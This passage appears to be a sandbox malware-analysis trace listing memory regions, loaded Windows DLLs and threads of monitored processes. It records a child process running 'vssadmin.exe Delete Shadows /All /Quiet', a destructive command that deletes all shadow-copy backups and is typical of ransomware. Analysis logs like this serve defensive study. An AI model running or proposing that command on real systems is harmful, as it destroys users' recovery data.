Region: id = 5062 start_va = 0x2460000 end_va = 0x249ffff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 5063 start_va = 0x74b90000 end_va = 0x74b9efff entry_point = 0x74b921a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 5064 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 5065 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 5066 start_va = 0x6a570000 end_va = 0x6a605fff entry_point = 0x6a58f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 5067 start_va = 0x74b70000 end_va = 0x74b87fff entry_point = 0x74b71335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 304 os_tid = 0x960 Thread: id = 305 os_tid = 0x11c Thread: id = 306 os_tid = 0x344 Thread: id = 307 os_tid = 0x860 Thread: id = 308 os_tid = 0x10c Process: id = "44" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x56098000" os_pid = "0x87c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5068 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5069 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 5070 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5071 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5072 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 5073 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 5074 start_va = 0x240000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 5075 start_va = 0x9c0000 end_va = 0x9defff entry_point = 0x9c0000 region_type = mapped_file name = "vssadmin.exe" filename = "\\Windows\\SysWOW64\\vssadmin.exe" (normalized: "c:\\windows\\syswow64\\vssadmin.exe") Region: id = 5076 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5077 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5078 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 5079 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 5080 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 5081 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 5082 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5083 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5084 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5085 start_va = 0x370000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 5086 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5087 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5088 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5089 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 5090 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 5091 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5092 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 5093 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5094 start_va = 0x4e0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 5095 start_va = 0x6e0000 end_va = 0x6effff entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 5096 start_va = 0x74b80000 end_va = 0x74c95fff entry_point = 0x74b80000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\SysWOW64\\vssapi.dll" (normalized: "c:\\windows\\syswow64\\vssapi.dll") Region: id = 5097 start_va = 0x74ca0000 end_va = 0x74caffff entry_point = 0x74ca0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\SysWOW64\\vsstrace.dll" (normalized: "c:\\windows\\syswow64\\vsstrace.dll") Region: id = 5098 start_va = 0x74cb0000 end_va = 0x74cc3fff entry_point = 0x74cb1da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 5099 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5100 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5101 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5102 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 5103 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5104 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5105 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 5106 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5107 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 5108 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 5109 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 5110 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5111 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5112 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5113 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5114 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5115 start_va = 0x6f0000 end_va = 0x877fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 5116 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5117 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5118 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5119 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 5120 start_va = 0xf0000 end_va = 0xfcfff entry_point = 0xf0000 region_type = mapped_file name = "vssadmin.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\vssadmin.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\vssadmin.exe.mui") Region: id = 5121 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 5122 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 5123 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 5124 start_va = 0x280000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 5125 start_va = 0x410000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 5126 start_va = 0x9e0000 end_va = 0xb60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 5127 start_va = 0xb70000 end_va = 0x1f6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 5128 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 5129 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 5130 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 5131 start_va = 0x490000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 5132 start_va = 0x610000 end_va = 0x64ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 5133 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5134 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 5135 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 5136 start_va = 0x1f70000 end_va = 0x223efff entry_point = 0x1f70000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5137 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Thread: id = 309 os_tid = 0x6cc Thread: id = 310 os_tid = 0x96c Thread: id = 311 os_tid = 0x8a8 Thread: id = 312 os_tid = 0x8b0 Thread: id = 313 os_tid = 0x8b4